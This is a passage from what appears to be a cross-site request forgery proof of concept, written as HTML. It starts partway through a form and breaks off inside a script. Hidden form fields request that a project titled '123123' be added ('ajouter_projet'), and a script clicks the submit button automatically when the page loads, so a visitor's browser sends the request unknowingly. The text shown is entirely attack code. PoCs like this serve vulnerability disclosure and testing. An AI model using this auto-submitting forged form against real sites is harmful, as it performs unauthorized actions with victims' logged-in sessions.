<input type="hidden" name="action" value="ajouter_projet">
<input type="hidden" name="titre_projet" value="123123">
<input type="hidden" name="ajouter" value="Add">
<input type="hidden" name="submit" value="OK">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
